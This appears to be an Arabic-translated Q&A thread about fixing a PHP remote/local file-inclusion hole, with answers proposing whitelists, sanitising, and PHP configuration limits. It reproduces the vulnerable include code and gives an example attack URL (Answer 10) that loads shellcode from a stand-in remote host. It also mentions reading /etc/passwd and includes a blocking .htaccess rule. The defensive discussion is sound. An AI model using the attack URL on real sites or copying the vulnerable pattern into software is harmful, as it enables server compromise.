أفضل طريقة لتجنب إدخال التعليمات البرمجية في PHP

Question

لقد تعرض موقع الويب الخاص بي مؤخرًا للهجوم بواسطة ما بدا لي رمزًا بريئًا:

<?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] . ".php" );
  } else {
    include("home.php");
  }
?>

لا يوجد هناك أي مكالمات SQL، لذلك لم أكن خائفًا من حقن SQL.ولكن، على ما يبدو، SQL ليس النوع الوحيد من الحقن.

يحتوي موقع الويب هذا على شرح وبعض الأمثلة لتجنب إدخال التعليمات البرمجية: http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

كيف يمكنك حماية هذا الكود من حقن الكود؟

Answer 1

استخدم القائمة البيضاء وتأكد من وجود الصفحة في القائمة البيضاء:

  $whitelist = array('home', 'page');

  if (in_array($_GET['page'], $whitelist)) {
        include($_GET['page'].'.php');
  } else {
        include('home.php');
  }

Answer 2

هناك طريقة أخرى لتطهير الإدخال وهي التأكد من وجود الأحرف المسموح بها فقط (بدون "/"، "."، ": "، ...)".ومع ذلك، لا تستخدم القائمة السوداء لـ سيء الأحرف، ولكن القائمة البيضاء للأحرف المسموح بها:

$page = preg_replace('[^a-zA-Z0-9]', '', $page);

...متبوعًا بملف file_exists.

بهذه الطريقة يمكنك التأكد من تنفيذ البرامج النصية التي تريد تنفيذها فقط (على سبيل المثال، قد يستبعد هذا "blabla.inc.php"، لأن "." غير مسموح به).

ملحوظة:يعد هذا نوعًا من "الاختراق"، لأنه بعد ذلك يمكن للمستخدم تنفيذ "h.o.m.e" وسيعطي الصفحة "الرئيسية"، لأن كل ما يفعله هو إزالة جميع الأحرف المحظورة.ليس المقصود منه إيقاف "الأذكياء" الذين يريدون إضافة أشياء لطيفة إلى صفحتك، ولكنه سيمنع الأشخاص من القيام بذلك حقا سيء أشياء.

بالمناسبة:شيء آخر يمكنك القيام به فيك .htaccess الملف لمنع محاولات الهجوم الواضحة:

RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]

بهذه الطريقة، يؤدي الوصول إلى جميع الصفحات باستخدام عنوان url "http:" (وسلسلة الاستعلام) إلى ظهور رسالة خطأ "ممنوع"، ولا يصل حتى إلى البرنامج النصي php.وينتج عن ذلك تحميل أقل للخادم.

ومع ذلك، ضع في اعتبارك أنه غير مسموح بـ "http" في سلسلة الاستعلام.قد يتطلب موقع الويب الخاص بك ذلك في بعض الحالات (ربما عند ملء النموذج).

بالمناسبة:إذا كنت تستطيع قراءة اللغة الألمانية:لدي أيضا مشاركة مدونة حول هذا الموضوع.

Answer 3

القاعدة رقم 1 عند قبول مدخلات المستخدم هي تطهيرها دائمًا.هنا، لا تقوم بتطهير متغير GET الخاص بصفحتك قبل تمريره إلى التضمين.يجب عليك إجراء فحص أساسي لمعرفة ما إذا كان الملف موجودًا على الخادم الخاص بك قبل تضمينه.

Answer 4

حسنًا، هناك العديد من الأشياء التي تدعو للقلق بشأن إضافة حقن SQL، أو حتى أنواع مختلفة من حقن التعليمات البرمجية.قد يكون الآن هو الوقت المناسب لإلقاء نظرة أعمق على أمان تطبيقات الويب بشكل عام.

من السؤال السابق على الانتقال من تطوير سطح المكتب إلى تطوير الويب, ، كتبت:

ال دليل OWASP لبناء تطبيقات الويب وخدمات الويب الآمنة يجب أن تكون القراءة إلزامية لأي مطور ويب يرغب في أخذ الأمان على محمل الجد (والذي ينبغي أن يكون الجميع مطوري الويب).هناك العديد من المبادئ التي يجب اتباعها والتي تساعد في العقلية المطلوبة عند التفكير في الأمان.

إذا كانت قراءة مستند كبير الحجم لا تناسبك، فقم بإلقاء نظرة على مقطع الفيديو الخاص بالندوة التي قدمها مايك أندروز في Google قبل عامين حول كيفية كسر برامج الويب.

Answer 5

أفترض أنك تتعامل مع الملفات الموجودة في نفس الدليل:

<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
  $page = urldecode($_GET['page']);
  $page = basename($page);
  $file = dirname(__FILE__) . "/{$page}.php";
  if (!file_exists($file)) {
    $file = dirname(__FILE__) . '/home.php';
  }
} else {
  $file = dirname(__FILE__) . '/home.php';
}
include $file;
?>

هذه ليست جميلة جدًا، ولكنها يجب أن تحل مشكلتك.

Answer 6

حسنًا، لإصلاح قصير المدى، قم بتطبيق أحد الحلول المقترحة من قبل المستخدمين الآخرين.لخطة متوسطة إلى طويلة المدى لك يجب فكر في الانتقال إلى أحد أطر الويب الموجودة.إنهم يتعاملون مع جميع الأشياء ذات المستوى المنخفض مثل التوجيه وإدراج الملفات بطريقة موثوقة وآمنة، حتى تتمكن من التركيز على الوظائف الأساسية.

لا تعيد اختراع العجلة.استخدم الإطار. أي واحد منهم أفضل من لا شيء.إن استثمار الوقت الأولي في التعلم يؤتي ثماره على الفور تقريبًا.

Answer 7

بعض الإجابات الجيدة حتى الآن، تستحق أيضًا الإشارة إلى بعض مواصفات PHP:

استخدام وظائف فتح الملف مغلفة لدعم البروتوكولات المختلفة.يتضمن ذلك القدرة على فتح الملفات عبر شبكة Windows المحلية وHTTP وFTP وغيرها.وبالتالي، في التكوين الافتراضي، يمكن بسهولة استخدام الكود الموجود في السؤال الأصلي لفتح أي ملف عشوائي على الإنترنت وخارجه؛بما في ذلك، بالطبع، جميع الملفات الموجودة على الأقراص المحلية للخادم (التي قد يقرأها مستخدم خادم الويب). /etc/passwd هو دائما متعة.

الوضع الآمن و open_basedir يمكن استخدامه لتقييد الوصول إلى الملفات الموجودة خارج دليل معين.

من المفيد أيضًا إعداد التكوين allow_url_fopen, ، والذي يمكنه تعطيل الوصول إلى الملفات عبر URL، عند استخدام وظائف فتح الملف. ini-set يمكن استخدامها لتعيين هذه القيمة وإلغاء تعيينها في وقت التشغيل.

هذه كلها أدوات حماية احتياطية جيدة، ولكن يرجى استخدام القائمة البيضاء لتضمين الملفات.

Answer 8

أعلم أن هذا منشور قديم جدًا وأتوقع أنك لن تحتاج إلى إجابة بعد الآن، ولكن ما زلت أفتقد جانبًا مهمًا جدًا وأحب مشاركته مع الأشخاص الآخرين الذين يقرؤون هذا المنشور.في التعليمات البرمجية الخاصة بك لتضمين ملف بناءً على قيمة متغير، يمكنك إنشاء رابط مباشر بين قيمة الحقل والنتيجة المطلوبة (تصبح الصفحة page.php).أعتقد أنه من الأفضل تجنب ذلك.هناك فرق بين طلب بعض الصفحات وتسليم تلك الصفحة.إذا قمت بهذا التمييز، فيمكنك الاستفادة من عناوين URL الرائعة، والتي تكون سهلة الاستخدام للغاية وصديقة لمحركات البحث (SEO).بدلاً من قيمة حقل مثل "صفحة"، يمكنك إنشاء عنوان URL مثل "Spinoza-Ethica".هذا هو مفتاح في القائمة البيضاء أو مفتاح أساسي في جدول من قاعدة بيانات وسيُرجع اسم ملف أو قيمة مضمنة.تتمتع هذه الطريقة بالعديد من المزايا إلى جانب القائمة البيضاء العادية:

1. استجابة الواجهة الخلفية مستقلة بشكل فعال عن طلب الواجهة الأمامية.إذا كنت تريد إعداد نظام الواجهة الخلفية الخاص بك بشكل مختلف، فلن تضطر إلى تغيير أي شيء في الواجهة الأمامية.

2. تأكد دائمًا من الانتهاء بأسماء الملفات المشفرة أو ما يعادلها من قاعدة البيانات (يفضل أن تكون قيمة إرجاع من إجراء مخزن)، لأنها تسبب مشكلة عند الاستفادة من المعلومات من الطلب لبناء الاستجابة.

3. نظرًا لأن عناوين URL الخاصة بك مستقلة عن التسليم من النهاية الخلفية، فلن تضطر أبدًا إلى إعادة كتابة عناوين URL الخاصة بك في ملف htAccess لهذا النوع من التغيير.

4. تعتبر عناوين URL المقدمة للمستخدم سهلة الاستخدام، وتُعلم المستخدم بمحتوى المستند.

5. تعد عناوين URL الجيدة جيدة جدًا لتحسين محركات البحث، لأن محركات البحث تبحث عن محتوى ذي صلة وعندما يكون عنوان URL الخاص بك متوافقًا مع المحتوى، سيحصل على سعر أفضل.على الأقل بمعدل أفضل عندما لا يتوافق المحتوى الخاص بك بالتأكيد مع المحتوى الخاص بك.

6. إذا لم تقم بالارتباط مباشرة بملف PHP، فيمكنك ترجمة عنوان URL الجميل إلى أي نوع آخر من الطلبات قبل معالجته.وهذا يمنح المبرمج مرونة أكبر بكثير.

7. سيتعين عليك تنقيح الطلب، لأنك تحصل على المعلومات من مصدر قياسي غير موثوق به (بقية الويب).إن استخدام عناوين URL الجيدة فقط كمدخلات ممكنة يجعل عملية تنقية عنوان URL أكثر بساطة، لأنه يمكنك التحقق مما إذا كان عنوان URL الذي تم إرجاعه يتوافق مع التنسيق الخاص بك.تأكد من أن تنسيق عنوان URL اللطيف لا يحتوي على أحرف تُستخدم على نطاق واسع في عمليات استغلال الثغرات (مثل '،<،>،-،&،؛إلخ..).

Answer 9

@pek - لن ينجح ذلك، لأن مفاتيح المصفوفة لديك هي 0 و1، وليس "الصفحة الرئيسية" و"الصفحة".

أعتقد أن هذا الرمز يجب أن يقوم بالخدعة:

<?php

$whitelist = array(
  'home',
  'page',
);

if(in_array($_GET['page'], $whitelist)) {
  include($_GET['page'] . '.php');
} else {
  include('home.php');
}

?>

بما أن لديك قائمة بيضاء، فلا داعي لذلك file_exists() أيضاً.

Answer 10

فكر في عنوان URL بهذا التنسيق:

www.yourwebsite.com/index.php?page=http://malicodes.com/shellcode.txt

إذا كان ملف shellcode.txt يقوم بتشغيل حقن SQL أو PHP، فسيكون موقع الويب الخاص بك في خطر، أليس كذلك؟فكر في هذا، فاستخدام القائمة البيضاء سيكون مفيدًا.

هناك طريقة لتصفية كافة المتغيرات لتجنب القرصنة.يمكنك استخدام PHP IDS أو OSE Security Suite للمساعدة في تجنب القرصنة.بعد تثبيت مجموعة الأمان، تحتاج إلى تنشيط المجموعة، إليك الدليل:

http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

أقترح عليك تشغيل الطبقة الثانية من الحماية، ثم سيتم تصفية جميع متغيرات POST وGET وخاصة تلك التي ذكرتها، وإذا تم العثور على هجمات، فسيتم إبلاغك بها على الفور/

السلامة هي الأولوية دائمًا